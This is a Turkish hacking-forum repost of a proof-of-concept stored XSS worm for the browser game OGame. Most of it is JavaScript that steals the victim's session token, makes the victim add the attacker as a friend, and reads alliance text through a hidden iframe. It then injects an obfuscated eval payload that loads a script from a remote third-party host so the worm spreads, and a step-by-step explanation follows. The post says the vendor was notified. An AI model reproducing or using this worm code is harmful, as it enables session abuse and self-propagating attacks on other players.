Derebahçe ~ GençliK
Hoşgeldiniz !
Üye olmadan forumdan yarar sağlayamazsınız.
Canlı konuşma için sitede başlık sayfasının altındaki chat box'a konuşabilirsiniz !
Moderatör Alımları Başlamıştır.
İyi Eğlenceler..
Derebahçe ~ GençliK
Hoşgeldiniz !
Üye olmadan forumdan yarar sağlayamazsınız.
Canlı konuşma için sitede başlık sayfasının altındaki chat box'a konuşabilirsiniz !
Moderatör Alımları Başlamıştır.
İyi Eğlenceler..
Derebahçe ~ GençliK
Would you like to react to this message? Create an account in a few clicks or log in to continue.



 
AnasayfaaFFéTméZ ~ TéaMLatest imagesKayıt OlGiriş yap

 

 Ogame Web 2.0 Solucanı //Ogame Açığı

Aşağa gitmek 
YazarMesaj
By.BiCi
Admin
Admin
By.BiCi


Rep Gücü : 401
Rep Puanı : 10

Ogame Web 2.0 Solucanı //Ogame Açığı Empty
MesajKonu: Ogame Web 2.0 Solucanı //Ogame Açığı   Ogame Web 2.0 Solucanı //Ogame Açığı Icon_minitimeCuma Şub. 27, 2009 7:25 pm

OGAME WEB 2.0 SOLUCANI

OGame bir çesit uzay stratejisi simulasyonudur. Aynı anda binlerce oyuncu tarafından karsılıklı olarak oynanır. Oynayabilmek için sadece normal bir internet gezgini gerekir.*

OGame’de oyuncular ittifak kurabilir, varolan ittifakları görebilir ve bunlara katılabilirler. İttifak ana sayfasında diğer kullanıcılar için açıklayıcı yazılar ve resimler yayınlanabilir. Bu yazıları ve resimleri ittifakı kuran oyuncu oluşturur ve yayınlar. İşte bu yazıları ve resimleri girmek için sağlanan arayüzde bulunan girdi denetimi yetersizliği kullanılarak, bir "depolanmış XSS" (stored XSS) saldırısı gerçekleştirilebilmektedir.

Not: OGame site yöneticileri bu açıklık ile ilgili olarak 2006 Aralık ayında ve daha sonrasında haberdar edilmişlerdir.

Bu yazıda, bulunan depolanmış XSS açıklığının detayları anlatılmayacaktır. Ancak en basit durumu ile bu açıklık kullanılarak, myspace web 2.0 solucanında [1] olduğu gibi, saldırganı saldırıya maruz kalan kullanıcılara arkadaş olarak ekletmek mümkündür.

Aşağıdaki saldırı dizgisi, çalışmayan kısımları değiştirilmiş Attack API 2.0 [2] kullanılarak yazılmıştır. Dizgiyi çok daha efektif hale getirmek ve her ne kadar saldırı dizgisi üçüncü parti bir sunucudan indiriliyor halde ise de, saldırıyı böyle bir bağımlılık oluşturmadan da yapmak mümkündür. Kısacası gösterilen bölümler bir konsept uygulamasıdır (PoC).

Bu yazı ile beraber basit bir saldırı demosu da buradan indirilebilir. : http://www.webguvenligi.org/wp-conte.../ogame-att.wrf
Videoyu izlemek için WebEx Player gereklidir.

OGAMEATTACK = {
emailregex : /value="([a-zA-Z0-9_\\.\\-])+\\@(([a-zA-Z0-9\\-])+\\.)+([a-zA-Z0-9]{2,4})+/g,
sessionregex : /\\?session=[a-f0-9]+/g
};

OGAMEATTACK.getSessionToken = function(){
matches = document.bOdy.innerHTML.match(OGAMEATTACK.sessionr egex);
sessionid = matches[0].substr(1);
http://console.log("session id is retrieved: " + sessionid);
return sessionid;
}

OGAMEATTACK.addBuddy = function(){

request = {
onload : function(response){
//if(response.status == 200)
http://console.log("buddy add request is made");
},
method : ’POST’,
url : ’buddy.php?’ + this.getSessionToken(),
bOdy : ’a=1&s=3&e=1&u=139283&text=merhaba’
};
AttackAPI.dom.requestXML(request);
}

OGAMEATTACK.addPayload = function(){
request = {
onload : function(response){
//if(response.status == 200)
http://console.log("payload add request is made");
},
method : ’POST’,
url : ’allianzen.php?’ + this.getSessionToken() + ’&a=11’,
bOdy : ’text=’ + OGAMEATTACK.originalallianzcontent + ’%0D%0A[Removed]’+
’%3D“eval%28unescape%28’var%20script%20’+
’%3D%20document.createElement%28%27scri’+
’pt%27%29%3B%0Ascript.src%20%3D%’+
’20%27http%3A%2F%2Fyesyese.nononono.com’+
’%2Fcranium%2Fogamesmall.txt%27%3B%0A’+
’script.type%20%3D%20%27text%2Fjavasc’+
’ript%27%3B%0Ascript.defer%20%3D%20’+
’true%3B%0Adocument.getElementsByTagName%’+
’28%27head%27%29%5B0%5D.appendChild%’+
’28script%29%3B’%29%29“[Removed]&t=1’
};
if(OGAMEATTACK.originalallianzcontent){
if(!OGAMEATTACK.originalallianzcontent.match(/ogamesmall/g))
AttackAPI.dom.requestXML(request);
//else
http://console.log("already infected alliance");
}

}

OGAMEATTACK.grabOriginalAllianzContent = function(){

var ifr = document.createElement(’iframe’);
ifr.style.visibility = ’hidden’;
ifr.style.width = ifr.style.height = 0;
ifr.src = ’allianzen.php?’ + this.getSessionToken() + ’&a=5&t=1’;
ifr.onload = function(){
var doc = AttackAPI.dom.getDocument(this);
var allianzContent = doc.getElementsByName("text")[0];
if(allianzContent){
http://console.log("allianz content is grabbed: " + allianzContent.value);
OGAMEATTACK.originalallianzcontent = allianzContent.value;
OGAMEATTACK.addPayload();
}
// remove the iframe here
document.bOdy.removeChild(ifr);
};
document.bOdy.appendChild(ifr);
}

OGAMEATTACK.main = function(email){
OGAMEATTACK.addBuddy();
OGAMEATTACK.grabOriginalAllianzContent();
}

OGAMEATTACK.main();


Kurban kullanıcı, zehirlenmiş ittifak sayfasını tarayıcısında (örn: IE, FF) açıktıktan sonra gerçekleşen 3 adım aşağıda anlatılmıştır;

1. İlk adımda saldırgan kendini kurbanın arkadaş listesine ekletir (Daha doğrusu kurban saldırgana bir arkadaşlık isteği gönderir). Bunu yapabilmek için dizginin once kurbanın oturum bilgisini alması gerekmektedir (OGame hassas oturum bilgisini URL’ler aracılığı ile tutmaktadır). Bunun için OGAMEATTACK.getSessionToken fonksiyonu kullanılır. OGAMEATTACK.addBuddy fonksiyonu ise bahsedilen adımı gerçekleştirir.
2. İkinci adımda kurbanın (varsa) orjinal ittifak mesajı OGAMEATTACK.grabOriginalAllianzContent fonksiyonu ile alınır ve 3.adımı gerçekleştirmek için OGAMEATTACK.addPayload fonksiyonu çağrılır. İkinci adım kurbanın (eğer varsa) ittifak sayfasını görünmez bir iframe içinde açtığından, saldırı hızı oldukça düşmektedir. Bu durum düzeltilebilir.
3. Üçüncü adımda ise (varsa) kurbanın ittifak sayfasına (orjinal mesajının hemen altına) saldırı dizgisi eklenir (solucanın yayılması). Burada kurbanın üye olduğu ittifak sayfasına yazma yetkisinin olması gerekmektedir. Ayrıca bu işlem esnasında saldırı dizgisinin daha önce eklenip eklenmediği kontrol edilir.

Sonuç :

Girdi denetim yetersizliğinin bulunduğu arayüzdeki kısıtlamalar ve ittifak arayüzlerinin oluşturulma ve ziyaret edilme sıklıkları nedeniyle solucanın yayılma hızı yavaş olacaktır.

Son yıllarda çıkan javascript saldırı API’ları ile enjeksiyon saldırılarını gerçeklemek daha basit hale gelmiştir.

* www.ogame.com.tr

Referanslar:

* [1] http://namb.la/popular/tech.html
* [2] http://code.google.com/p/attackapi/
* [3] http://www.webex.com/go/down_player_win


Kaynak :
http://www.enderunix.org/docs/ogameworm/index.htm
Sayfa başına dön Aşağa gitmek
 
Ogame Web 2.0 Solucanı //Ogame Açığı
Sayfa başına dön 
1 sayfadaki 1 sayfası
 Similar topics
-
» [# RFI Açığı Arama ] Bırakın Hazır Açıkları, Açığı Kendiniz Yaratın !
» Ogame Scrİpt Hack İlk Kez Ben Verİyom
» philboard_forum.asp acığı
» Front Page aÇığı
» Haber Sitesi Açığı

Bu forumun müsaadesi var:Bu forumdaki mesajlara cevap veremezsiniz
Derebahçe ~ GençliK :: Güvenlik :: Güvenlik & Güvenlik Açıkları-
Buraya geçin: